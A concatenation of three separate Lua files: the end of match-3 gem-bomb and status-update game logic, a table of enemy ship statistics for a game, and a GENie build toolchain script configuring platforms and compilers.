table.insert(bombSet, gemsTable[i+1][j-1])
table.insert(bombSet, gemsTable[i-1][j-1])
end
end
elseif 2 <= i and i <= 7 and 2 <= j and j <= 7 then
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i+1][j+1].isMarkedToDestroy = true
gemsTable[i-1][j-1].isMarkedToDestroy = true
gemsTable[i+1][j-1].isMarkedToDestroy = true
gemsTable[i-1][j+1].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i][j+1])
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i+1][j+1])
table.insert(bombSet, gemsTable[i-1][j-1])
table.insert(bombSet, gemsTable[i+1][j-1])
table.insert(bombSet, gemsTable[i-1][j+1])
end
-- cross explosion
elseif bombType == "cross" then
for k = 1, 8, 1 do
if k == j then
-- do nothing
else
gemsTable[i][k].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i][k])
end
gemsTable[k][j].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[k][j])
end
-- vertical explosion
elseif bombType == "vertical" then
for k = 1, 8, 1 do
gemsTable[i][k].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i][k])
end
-- horizontal explosion
elseif bombType == "horizontal" then
for k = 1, 8, 1 do
gemsTable[k][j].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[k][j])
end
end
information["bombSet"] = bombSet
information["gemsTable"] = gemsTable
return information
end
function isAdjacent(gem1, gem2)
if (math.abs(gem1.i - gem2.i) + math.abs(gem1.j - gem2.j)) == 1 then
return true
else
return false
end
end
function updatePirateStatus(hp, mp, dmg, keys, table)
-- initialize on the fly
local colorsCount = {
["red"] = 0,
["green"] = 0,
["blue"] = 0,
["yellow"] = 0
}
-- start counting
for i = 1, #table, 1 do
if table[i].gemType == "red" then
colorsCount["red"] = colorsCount["red"] + 1
elseif table[i].gemType == "green" then
colorsCount["green"] = colorsCount["green"] + 1
elseif table[i].gemType == "blue" then
colorsCount["blue"] = colorsCount["blue"] + 1
elseif table[i].gemType == "yellow" then
colorsCount["yellow"] = colorsCount["yellow"] + 1
end
end
-- update
local currentHealth = hp:getHealth()
local currentMana = mp:getMana()
hp:addHpBy(colorsCount["green"], "percent")
--mp:setMana(currentMana + colorsCount["blue"], 100)
mp:addMpBy(colorsCount["blue"])
dmg:increaseDamageByN(colorsCount["red"])
keys:increaseKeysByN(colorsCount["yellow"])
end
function updatePirateStatusWithCalculatedTable(hp, mp, dmg, keys, table)
hp:addHpBy(table["green"], "percent")
--mp:setMana(mp:getMana() + table["blue"], 100)
mp:addMpBy(table["blue"])
dmg:increaseDamageByN(table["red"])
keys:increaseKeysByN(table["yellow"])
end
|
pg = pg or {}
pg.enemy_data_statistics_67 = {
[13048] = {
cannon = 480,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 0,
rarity = 4,
dodge = 45,
torpedo = 620,
durability_growth = 46000,
antiaircraft = 465,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 4,
hit = 60,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 55,
base = 191,
durability = 8700,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 24,
luck = 10,
id = 13048,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
340092,
340093,
340094,
340095
}
},
[1305001] = {
cannon = 350,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 0,
rarity = 4,
dodge = 95,
torpedo = 420,
durability_growth = 0,
antiaircraft = 385,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 5,
hit = 69,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 60,
base = 346,
durability = 151800,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 20,
luck = 25,
id = 1305001,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"bossguangxiao",
"appearQ"
},
equipment_list = {
340101,
340107,
340104,
340105,
340109
}
},
[1305002] = {
cannon = 300,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 480,
rarity = 5,
dodge = 75,
torpedo = 0,
durability_growth = 0,
antiaircraft = 420,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 6,
hit = 69,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 70,
base = 243,
durability = 167900,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 16,
luck = 25,
id = 1305002,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
340111,
340113,
340114,
340115
}
},
[1305003] = {
cannon = 320,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 560,
rarity = 5,
dodge = 75,
torpedo = 0,
durability_growth = 0,
antiaircraft = 450,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 6,
hit = 72,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 70,
base = 243,
durability = 149500,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 16,
luck = 25,
id = 1305003,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
340121,
340125
}
},
[1305004] = {
cannon = 320,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 560,
rarity = 5,
dodge = 75,
torpedo = 0,
durability_growth = 0,
antiaircraft = 450,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 6,
hit = 72,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 70,
base = 244,
durability = 184000,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 16,
luck = 50,
id = 1305004,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
340131,
340135
}
},
[1305005] = {
cannon = 520,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 680,
rarity = 5,
dodge = 75,
torpedo = 0,
durability_growth = 0,
antiaircraft = 580,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 0,
star = 6,
hit = 75,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 60,
base = 332,
durability = 230000,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 32,
luck = 25,
id = 1305005,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"bossguangxiao",
"appearQ"
},
equipment_list = {
340143,
340144,
340145,
340147
}
},
[101000] = {
cannon = 33,
reload = 150,
speed_growth = 0,
cannon_growth = 300,
pilot_ai_template_id = 20005,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 46,
durability_growth = 2600,
antiaircraft = 25,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 120,
star = 2,
hit = 8,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 20,
base = 100,
durability = 110,
armor_growth = 0,
torpedo_growth = 1440,
luck_growth = 0,
speed = 15,
luck = 0,
id = 101000,
antiaircraft_growth = 666,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
311002,
311004,
311092
}
},
[101001] = {
cannon = 33,
reload = 150,
speed_growth = 0,
cannon_growth = 300,
pilot_ai_template_id = 20005,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 56,
durability_growth = 2600,
antiaircraft = 25,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 120,
star = 2,
hit = 8,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 20,
base = 105,
durability = 120,
armor_growth = 0,
torpedo_growth = 1728,
luck_growth = 0,
speed = 15,
luck = 0,
id = 101001,
antiaircraft_growth = 630,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
311004,
311005,
311092
}
},
[101002] = {
cannon = 33,
reload = 150,
speed_growth = 0,
cannon_growth = 300,
pilot_ai_template_id = 20005,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 56,
durability_growth = 3000,
antiaircraft = 25,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 120,
star = 2,
hit = 8,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 20,
base = 102,
durability = 120,
armor_growth = 0,
torpedo_growth = 1728,
luck_growth = 0,
speed = 15,
luck = 0,
id = 101002,
antiaircraft_growth = 630,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
311007,
311008,
311092
}
},
[101003] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 15,
torpedo = 180,
durability_growth = 12000,
antiaircraft = 35,
reload_growth = 0,
dodge_growth = 222,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 169,
durability = 280,
armor_growth = 0,
torpedo_growth = 4491,
luck_growth = 0,
speed = 24,
luck = 0,
id = 101003,
antiaircraft_growth = 1638,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101004] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 14,
torpedo = 180,
durability_growth = 12000,
antiaircraft = 35,
reload_growth = 0,
dodge_growth = 210,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 151,
durability = 116,
armor_growth = 0,
torpedo_growth = 3744,
luck_growth = 0,
speed = 20,
luck = 0,
id = 101004,
antiaircraft_growth = 1719,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101005] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 14,
torpedo = 180,
durability_growth = 12000,
antiaircraft = 35,
reload_growth = 0,
dodge_growth = 210,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 153,
durability = 180,
armor_growth = 0,
torpedo_growth = 3744,
luck_growth = 0,
speed = 30,
luck = 0,
id = 101005,
antiaircraft_growth = 1719,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101006] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 15,
torpedo = 165,
durability_growth = 11800,
antiaircraft = 35,
reload_growth = 0,
dodge_growth = 222,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 170,
durability = 180,
armor_growth = 0,
torpedo_growth = 4491,
luck_growth = 0,
speed = 24,
luck = 0,
id = 101006,
antiaircraft_growth = 1638,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101007] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 14,
torpedo = 180,
durability_growth = 12600,
antiaircraft = 36,
reload_growth = 0,
dodge_growth = 210,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 150,
durability = 132,
armor_growth = 0,
torpedo_growth = 3744,
luck_growth = 0,
speed = 24,
luck = 0,
id = 101007,
antiaircraft_growth = 1719,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101008] = {
cannon = 46,
reload = 150,
speed_growth = 0,
cannon_growth = 520,
pilot_ai_template_id = 10001,
air = 0,
rarity = 2,
dodge = 14,
torpedo = 165,
durability_growth = 12600,
antiaircraft = 36,
reload_growth = 0,
dodge_growth = 210,
hit_growth = 210,
star = 3,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 50,
base = 152,
durability = 132,
armor_growth = 0,
torpedo_growth = 3744,
luck_growth = 0,
speed = 24,
luck = 0,
id = 101008,
antiaircraft_growth = 1719,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
100211,
100411
}
},
[101009] = {
cannon = 36,
reload = 150,
speed_growth = 0,
cannon_growth = 600,
pilot_ai_template_id = 20005,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 45,
durability_growth = 4700,
antiaircraft = 24,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 120,
star = 2,
hit = 8,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 25,
base = 107,
durability = 86,
armor_growth = 0,
torpedo_growth = 1296,
luck_growth = 0,
speed = 15,
luck = 0,
id = 101009,
antiaircraft_growth = 1440,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
311023,
311024,
311093
}
}
}
return
|
local ROOT_DIR = path.getabsolute("..")
function string.startwith(s, b)
return s and b and string.sub(s, 1, string.len(b)) == b
end
local function crt_none()
defines {
"CRT_NONE=1",
}
buildoptions {
"-nostdlib",
"-nodefaultlibs",
"-nostartfiles",
"-Wa,--noexecstack",
"-ffreestanding",
}
linkoptions {
"-nostdlib",
"-nodefaultlibs",
"-nostartfiles",
"-Wa,--noexecstack",
"-ffreestanding",
}
configuration { "linux-*" }
do
buildoptions {
"-mpreferred-stack-boundary=4",
"-mstackrealign",
}
linkoptions {
"-mpreferred-stack-boundary=4",
"-mstackrealign",
}
end
-- Clear config
configuration {}
end
function toolchain(BUILD_DIR, LIB_DIR)
newoption {
trigger = "platform",
value = "_PLATFORM",
description = "Choose platform",
allowed = {
{ "android-arm", "Android - ARM" },
{ "android-x86", "Android - x86" },
{ "wasm", "Emscripten/wasm" },
{ "asmjs", "Emscripten/asm.js" },
--{ "freebsd", "FreeBSD" },
{ "linux", "Linux" },
{ "linux-afl", "Linux (AFL fuzzer)" },
{ "linux-clang", "Linux (Clang compiler)" },
{ "linux-clang-afl", "Linux (Clang + AFL fuzzer)" },
{ "windows", "Windows (MSVC compiler)" },
{ "windows-clang", "Windows (Clang compiler)" },
{ "ios-arm", "iOS - ARM" },
{ "ios-arm64", "iOS - ARM64" },
{ "ios-simulator", "iOS - Simulator" },
{ "ios-simulator64", "iOS - Simulator 64" },
{ "tvos-arm64", "tvOS - ARM64" },
{ "tvos-simulator", "tvOS - Simulator" },
{ "mingw", "MinGW" },
--{ "mingw-clang", "MinGW (clang compiler)" },
--{ "netbsd", "NetBSD" },
{ "osx", "OSX" },
--{ "orbis", "Orbis" },
--{ "riscv", "RISC-V" },
{ "rpi", "RaspberryPi" },
},
}
newoption {
trigger = "vs",
value = "toolset",
description = "Choose VS toolset",
allowed = {
{ "vs2012-clang", "Clang 3.6" },
{ "vs2013-clang", "Clang 3.6" },
{ "vs2015-clang", "Clang 3.9" },
{ "vs2017-clang", "Clang with MS CodeGen" },
{ "vs2012-xp", "Visual Studio 2012 targeting XP" },
{ "vs2013-xp", "Visual Studio 2013 targeting XP" },
{ "vs2015-xp", "Visual Studio 2015 targeting XP" },
{ "vs2017-xp", "Visual Studio 2017 targeting XP" },
{ "winstore100", "Universal Windows App 10.0" },
{ "durango", "Durango" },
{ "orbis", "Orbis" },
},
}
newoption {
trigger = "xcode",
value = "xcode_target",
description = "Choose XCode target",
allowed = {
{ "osx", "OSX" },
{ "ios", "iOS" },
{ "tvos", "tvOS" },
}
}
newoption {
trigger = "android",
value = "#",
description = "Set Android platform version (default: android-14).",
}
newoption {
trigger = "ios",
value = "#",
description = "Set iOS target version (default: 8.0).",
}
newoption {
trigger = "macos",
value = "#",
description = "Set macOS target version (default 10.11).",
}
newoption {
trigger = "tvos",
value = "#",
description = "Set tvOS target version (default: 9.0).",
}
newoption {
trigger = "windows",
value = "#",
description = "Set the Windows target platform version (default: $WindowsSDKVersion or 8.1).",
}
newoption {
trigger = "dynamic-runtime",
description = "Dynamically link with the runtime rather than statically",
}
newoption {
trigger = "32bit-compiler",
description = "Use 32-bit compiler instead 64-bit.",
}
newoption {
trigger = "with-avx",
description = "Use AVX extension.",
}
newaction {
trigger = "android-studio",
description = "Generate Android Studio project.",
execute = function ()
os.execute("genie cmake")
os.execute("cp -r android-studio " .. path.join(BUILD_DIR, "projects"))
os.execute("cp -r " .. path.join(BUILD_DIR, "projects/cmake/*") .. " " .. path.join(BUILD_DIR, "projects/android-studio/app/jni"))
end
}
-- Avoid error when invoking genie --help.
if (_ACTION == nil) then return false end
location (path.join(BUILD_DIR, "projects", _ACTION))
if _ACTION == "clean" then
os.rmdir(BUILD_DIR)
os.mkdir(BUILD_DIR)
os.exit(1)
end
local android_platform = "android-24"
if _OPTIONS["android"] then
android_platform = "android-" .. _OPTIONS["android"]
end
local ios_platform = ""
if _OPTIONS["ios"] then
ios_platform = _OPTIONS["ios"]
end
local osx_platform = ""
if _OPTIONS["osx"] then
osx_platform = _OPTIONS["osx"]
end
local tvos_platform = ""
if _OPTIONS["tvos"] then
tvos_platform = _OPTIONS["tvos"]
end
local windows_platform = string.gsub(os.getenv("WindowsSDKVersion") or "8.1", "\\", "")
if _OPTIONS["windows"] then
windows_platform = _OPTIONS["windows"]
end
local compiler_32bit = false
if _OPTIONS["32bit-compiler"] then
compiler_32bit = true
end
flags {
"Cpp14",
"ExtraWarnings",
}
if string.startwith(_ACTION, "vs") then
if not _OPTIONS["platform"] then
_OPTIONS["platform"] = "windows"
else
print("Platform cannot specified when generate vs* projects.")
os.exit(1)
end
end
_PLATFORM = _OPTIONS["platform"]
if _ACTION == "gmake" or _ACTION == "ninja" then
if nil == _PLATFORM then
print("Platform must be specified for gmake or ninja build!")
os.exit(1)
end
if "windows" == _PLATFORM then
print("Platform of gmake or ninja cannot be windows! Maybe your choice is windows-clang.")
os.exit(1)
end
if "android-studio" == _PLATFORM then
print("Platform of gmake or ninja cannot be windows! Maybe your choice is windows-clang.")
os.exit(1)
end
if string.startwith(_PLATFORM, "android-") then
if not os.getenv("ANDROID_NDK_ARM")
or not os.getenv("ANDROID_NDK_ARM64")
or not os.getenv("ANDROID_NDK_CLANG")
or not os.getenv("ANDROID_NDK_ROOT") then
print("Set ANDROID_NDK_CLANG, ANDROID_NDK_ARM, ANDROID_NDK_ARM64, and ANDROID_NDK_ROOT environment variables.")
end
premake.gcc.cc = "$(ANDROID_NDK_CLANG)/bin/clang"
premake.gcc.cxx = "$(ANDROID_NDK_CLANG)/bin/clang++"
premake.gcc.llvm = true
location (path.join(BUILD_DIR, "projects", _ACTION .. "-" .. _PLATFORM))
if "android-arm" == _PLATFORM then
premake.gcc.ar = "$(ANDROID_NDK_ARM)/bin/arm-linux-androideabi-ar"
premake.gcc.ld = "$(ANDROID_NDK_ARM)/bin/arm-linux-androideabi-ld"
elseif "android-arm64" == _PLATFORM then
premake.gcc.ar = "$(ANDROID_NDK_ARM64)/bin/aarch64-linux-android-ar"
premake.gcc.ld = "$(ANDROID_NDK_ARM64)/bin/aarch64-linux-android-ld"
end
elseif "asmjs" == _PLATFORM then
if not os.getenv("EMSCRIPTEN") then
print("Set EMSCRIPTEN environment variable.")
end
premake.gcc.cc = "\"$(EMSCRIPTEN)/emcc\""
premake.gcc.cxx = "\"$(EMSCRIPTEN)/em++\""
premake.gcc.ar = "\"$(EMSCRIPTEN)/emar\""
premake.gcc.llvm = true
location (path.join(BUILD_DIR, "projects", _ACTION .. "-asmjs"))
elseif "wasm" == _PLATFORM then
if not os.getenv("EMSCRIPTEN") then
print("Set EMSCRIPTEN environment variable.")
end
premake.gcc.cc = "\"$(EMSCRIPTEN)/emcc\""
premake.gcc.cxx = "\"$(EMSCRIPTEN)/em++\""
premake.gcc.ar = "\"$(EMSCRIPTEN)/emar\""
premake.gcc.llvm = true
location (path.join(BUILD_DIR, "projects", _ACTION .. "-wasm"))
elseif "freebsd" == _PLATFORM then
location (path.join(BUILD_DIR, "projects", _ACTION .. "-freebsd"))
elseif "ios-arm" == _PLATFORM
or "ios-arm64" == _PLATFORM then
premake.gcc.cc = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang"
premake.gcc.cxx = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-" .. _PLATFORM))
elseif "ios-simulator" == _PLATFORM then
premake.gcc.cc = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang"
premake.gcc.cxx = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-ios-simulator"))
elseif "ios-simulator64" == _PLATFORM then
premake.gcc.cc = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang"
premake.gcc.cxx = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-ios-simulator64"))
elseif "tvos-arm64" == _PLATFORM then
premake.gcc.cc = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang"
premake.gcc.cxx = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-tvos-arm64"))
elseif "tvos-simulator" == _PLATFORM then
premake.gcc.cc = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang"
premake.gcc.cxx = "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-tvos-simulator"))
elseif "linux" == _PLATFORM then
premake.gcc.cc = "gcc"
premake.gcc.cxx = "g++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-linux"))
elseif "linux-afl" == _PLATFORM then
premake.gcc.cc = "afl-gcc"
premake.gcc.cxx = "afl-g++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-linux"))
elseif "linux-clang" == _PLATFORM then
premake.gcc.cc = "clang"
premake.gcc.cxx = "clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-linux-clang"))
elseif "linux-clang-afl" == _PLATFORM then
premake.gcc.cc = "afl-clang"
premake.gcc.cxx = "afl-clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-linux-clang"))
--[[
elseif "linux-steamlink" == _PLATFORM then
if not os.getenv("MARVELL_SDK_PATH") then
print("Set MARVELL_SDK_PATH environment variable.")
end
premake.gcc.cc = "$(MARVELL_SDK_PATH)/toolchain/bin/armv7a-cros-linux-gnueabi-gcc"
premake.gcc.cxx = "$(MARVELL_SDK_PATH)/toolchain/bin/armv7a-cros-linux-gnueabi-g++"
premake.gcc.ar = "$(MARVELL_SDK_PATH)/toolchain/bin/armv7a-cros-linux-gnueabi-ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-linux-steamlink"))]]
elseif "mingw" == _PLATFORM then
if not os.getenv("MINGW") then
--print("Set MINGW environment variable.")
end
local mingwToolchain = "x86_64-w64-mingw32"
if compiler32bit then
if os.is("linux") then
mingwToolchain = "i686-w64-mingw32"
else
mingwToolchain = "mingw32"
end
end
--premake.gcc.cc = "$(MINGW)/bin/" .. mingwToolchain .. "-gcc"
--premake.gcc.cxx = "$(MINGW)/bin/" .. mingwToolchain .. "-g++"
--premake.gcc.ar = "$(MINGW)/bin/ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-mingw"))
elseif "mingw-clang" == _PLATFORM then
premake.gcc.cc = "$(CLANG)/bin/clang"
premake.gcc.cxx = "$(CLANG)/bin/clang++"
premake.gcc.ar = "$(MINGW)/bin/ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-mingw-clang"))
elseif "windows-clang" == _PLATFORM then
premake.gcc.cc = "clang"
premake.gcc.cxx = "clang++"
premake.gcc.ar = "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-windows-clang"))
--[[
elseif "netbsd" == _PLATFORM then
location (path.join(BUILD_DIR, "projects", _ACTION .. "-netbsd"))]]
elseif "osx" == _PLATFORM then
if os.is("linux") then
if not os.getenv("OSXCROSS") then
print("Set OSXCROSS environment variable.")
end
local osx_toolchain = "x86_64-apple-darwin15-"
premake.gcc.cc = "$(OSXCROSS)/target/bin/" .. osx_toolchain .. "clang"
premake.gcc.cxx = "$(OSXCROSS)/target/bin/" .. osx_toolchain .. "clang++"
premake.gcc.ar = "$(OSXCROSS)/target/bin/" .. osx_toolchain .. "ar"
end
location (path.join(BUILD_DIR, "projects", _ACTION .. "-osx"))
--[[
elseif "orbis" == _PLATFORM then
if not os.getenv("SCE_ORBIS_SDK_DIR") then
print("Set SCE_ORBIS_SDK_DIR environment variable.")
end
orbisToolchain = "$(SCE_ORBIS_SDK_DIR)/host_tools/bin/orbis-"
premake.gcc.cc = orbisToolchain .. "clang"
premake.gcc.cxx = orbisToolchain .. "clang++"
premake.gcc.ar = orbisToolchain .. "ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-orbis"))]]
elseif "rpi" == _PLATFORM then
location (path.join(BUILD_DIR, "projects", _ACTION .. "-rpi"))
--[[
elseif "riscv" == _PLATFORM then
premake.gcc.cc = "$(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/bin/riscv64-unknown-elf-gcc"
premake.gcc.cxx = "$(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/bin/riscv64-unknown-elf-g++"
premake.gcc.ar = "$(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/bin/riscv64-unknown-elf-ar"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-riscv"))]]
end
elseif _ACTION == "vs2012"
or _ACTION == "vs2013"
or _ACTION == "vs2015"
or _ACTION == "vs2017"
then
local action = premake.action.current()
action.vstudio.windowsTargetPlatformVersion = windows_platform
action.vstudio.windowsTargetPlatformMinVersion = windows_platform
if (_ACTION .. "-clang") == _OPTIONS["vs"] then
if "vs2017-clang" == _OPTIONS["vs"] then
premake.vstudio.toolset = "v141_clang_c2"
elseif "vs2015-clang" == _OPTIONS["vs"] then
premake.vstudio.toolset = "LLVM-vs2014"
else
premake.vstudio.toolset = ("LLVM-" .. _ACTION)
end
location (path.join(BUILD_DIR, "projects", _ACTION .. "-clang"))
elseif "winstore100" == _OPTIONS["vs"] then
premake.vstudio.toolset = "v141"
premake.vstudio.storeapp = "10.0"
platforms { "ARM" }
location (path.join(BUILD_DIR, "projects", _ACTION .. "-winstore100"))
elseif "durango" == _OPTIONS["vs"] then
if not os.getenv("DurangoXDK") then
print("DurangoXDK not found.")
end
premake.vstudio.toolset = "v140"
premake.vstudio.storeapp = "durango"
platforms { "Durango" }
location (path.join(BUILD_DIR, "projects", _ACTION .. "-durango"))
elseif "orbis" == _OPTIONS["vs"] then
if not os.getenv("SCE_ORBIS_SDK_DIR") then
print("Set SCE_ORBIS_SDK_DIR environment variable.")
end
platforms { "Orbis" }
location (path.join(BUILD_DIR, "projects", _ACTION .. "-orbis"))
elseif ("vs2012-xp") == _OPTIONS["vs"] then
premake.vstudio.toolset = ("v110_xp")
location (path.join(BUILD_DIR, "projects", _ACTION .. "-xp"))
elseif "vs2013-xp" == _OPTIONS["vs"] then
premake.vstudio.toolset = ("v120_xp")
location (path.join(BUILD_DIR, "projects", _ACTION .. "-xp"))
elseif "vs2015-xp" == _OPTIONS["vs"] then
premake.vstudio.toolset = ("v140_xp")
location (path.join(BUILD_DIR, "projects", _ACTION .. "-xp"))
elseif "vs2015-xp" == _OPTIONS["vs"] then
premake.vstudio.toolset = ("v141_xp")
location (path.join(BUILD_DIR, "projects", _ACTION .. "-xp"))
end
elseif _ACTION == "xcode4"
or _ACTION == "xcode8"
or _ACTION == "xcode9" then
local action = premake.action.current()
local str_or = function(str, def)
return #str > 0 and str or def
end
if "osx" == _OPTIONS["xcode"] then
action.xcode.macOSTargetPlatformVersion = str_or(osx_platform, "10.11")
premake.xcode.toolset = "macosx"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-osx"))
elseif "ios" == _OPTIONS["xcode"] then
action.xcode.iOSTargetPlatformVersion = str_or(ios_platform, "8.0")
premake.xcode.toolset = "iphoneos"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-ios"))
elseif "tvos" == _OPTIONS["xcode"] then
action.xcode.tvOSTargetPlatformVersion = str_or(tvos_platform, "9.0")
premake.xcode.toolset = "appletvos"
location (path.join(BUILD_DIR, "projects", _ACTION .. "-tvos"))
end
end
if not _OPTIONS["dynamic-runtime"] then
flags { "StaticRuntime" }
end
if _OPTIONS["with-avx"] then
flags { "EnableAVX" }
end
if _OPTIONS["with-crtnone"] then
crt_none()
end
flags {
"NoPCH",
"NativeWChar",
"NoRTTI",
"NoExceptions",
